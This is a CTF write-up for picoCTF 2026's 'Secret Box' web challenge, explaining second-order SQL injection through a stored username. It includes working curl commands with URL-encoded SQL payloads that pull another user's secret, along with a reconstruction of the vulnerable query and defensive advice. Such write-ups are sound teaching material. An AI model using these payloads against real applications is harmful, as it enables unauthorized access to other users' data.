Secret Box picoCTF 2026 Solution

Published: March 20, 2026

Description

This secret box is designed to conceal your secrets. It's perfectly secure - only you can see what's inside. Or can you? Try uncovering the admin's secret.

Launch the challenge instance and open the web application.

Register an account to explore how secrets are stored.

  1. Step 1Identify the injection point
    The application stores secrets associated with users. When a secret is created, the owner's username is used in the SQL query via string concatenation - this is the injection vector. Register a new account with a malicious username containing a SQL payload.
    Learn more

    Second-order SQL injection (also called stored SQL injection) is a more subtle and dangerous variant of classic SQL injection. Unlike first-order injection where the payload is executed immediately, second-order injection involves two separate steps: (1) store a malicious payload into the database through one interface, and (2) trigger its execution when another part of the application reads and uses that stored data in a SQL query.

    In this challenge, the username is stored safely during registration (perhaps even properly escaped), but later when the application constructs SQL queries for secret creation or retrieval, it concatenates the username directly into the query string without sanitizing it again. Developers often sanitize input at the point of entry but forget that stored data retrieved from the database is also untrusted - it may have been injected by a malicious user.

    This attack pattern is particularly insidious because security scanners and manual testers often miss it: they test the registration form and find it safe, then fail to trace how the stored username flows into subsequent SQL queries. A proper defense requires parameterized queries (prepared statements) at every point where data is used in SQL - not just at input boundaries.

  2. Step 2Inject SQL in the username to leak the admin UUID
    Register a normal account first and inspect the /secrets API response in DevTools - your owner_id is exposed there in the same shape the admin's would be. Once you have the admin UUID, register a second account whose username is a SQL payload that pulls the admin's content.
    bash
    # Step 1: register normally and inspect the response in DevTools Network tab.
    bash
    # /secrets returns objects like: {"owner_id": "<your-uuid>", "content": ...}
    bash
    # Look for an admin-looking entry, or test login flows that reveal admin UUIDs.
    bash
    # Step 2: register a second account with the SQL payload.
    bash
    # URL-encode the payload: ' -> %27, space -> %20, | -> %7C
    bash
    curl -c cookie.jar -d "username=%27%20%7C%7C%20(SELECT%20content%20FROM%20secrets%20WHERE%20owner_id%3D%27<ADMIN_UUID>%27%20LIMIT%201)%20%7C%7C%20%27&password=test123" \
      http://<HOST>:<PORT_FROM_INSTANCE>/register
    bash
    # If the subquery returns NULL (wrong UUID), first verify injection works at all:
    bash
    curl -c cookie.jar -d "username=%27%20%7C%7C%20(SELECT%201)%20%7C%7C%20%27&password=test123" \
      http://<HOST>:<PORT_FROM_INSTANCE>/register
    Learn more

    Reconstructing the original query. The vulnerable code is almost certainly something like INSERT INTO secrets (owner, content) VALUES ('USERNAME', 'CONTENT') where USERNAME is your stored username spliced in unquoted. Your payload ' || (SELECT content FROM secrets WHERE owner_id='...') || ' resolves like this once substituted:

    INSERT INTO secrets (owner, content)
    VALUES ('' || (SELECT content FROM secrets
                   WHERE owner_id='<admin-uuid>' LIMIT 1) || '',
            'CONTENT')

    The leading ' closes the empty string the app opened for the username. || is SQLite's string concatenation operator, so the subquery's result is concatenated. The trailing || ' reattaches to the closing ' and the rest of the original query (the , 'CONTENT')tail). Net effect: when this row is later read back as "your username", it contains the admin's flag.

    If the subquery returns NULL. Two possibilities: the injection itself isn't firing, or the UUID is wrong. Sanity-check the injection with (SELECT 1) first - if your stored username comes back as 1, the path is open and you just need a better UUID. Otherwise you need to trace where the injection is being escaped.

    See SQL injection for CTF for the full pattern catalogue and web challenges and real-world bug patterns for how this maps to production breaches.

  3. Step 3Trigger the injection and read the admin's secret
    After registering with the malicious username, log in and create a secret. When the app builds the SQL query with your username, the injected subquery runs and returns the admin's secret content (which contains the flag) instead of your own.
    bash
    curl -b cookie.jar -d 'content=anything' http://<HOST>:<PORT_FROM_INSTANCE>/secrets/create
    bash
    curl -b cookie.jar http://<HOST>:<PORT_FROM_INSTANCE>/secrets
    bash
    # The flag appears in the 'content' field of your created secret
    Learn more

    Cookie-based session management is simulated here with curl -c cookie.jar (save cookies) and -b cookie.jar (send cookies). After logging in, the session cookie identifies your user account for subsequent requests. This is how browsers maintain authentication state - each request carries the session cookie, and the server looks up the associated user from its session store.

    The key insight of second-order injection is timing: the SQL injection payload does not execute during registration. It only executes when your username is read from the database and used in another SQL query - in this case, when you create a secret. At that point, the application retrieves your username from the users table and concatenates it into the INSERT INTO secrets or SELECT FROM secretsquery, triggering the subquery and returning the admin's content as if it were your own.

    Automated SQL injection tools like sqlmapcan detect first-order injection but often miss second-order injection because the payload and its execution are separated across different HTTP requests. Manual testing and code review are the most reliable ways to find stored injection vulnerabilities. OWASP's Testing Guide has a dedicated section on second-order SQL injection detection techniques.

Flag

picoCTF{s3cr3t_b0x_0p3n3d_...}

Second-order SQL injection via the username field. The username is stored then inserted unsanitised into the secrets query. A subquery `(SELECT content FROM secrets WHERE owner_id='<admin-uuid>' LIMIT 1)` extracts the admin's flag when a secret is created.

Want more picoCTF 2026 writeups?

Useful tools for Web Exploitation

Related reading

What to try next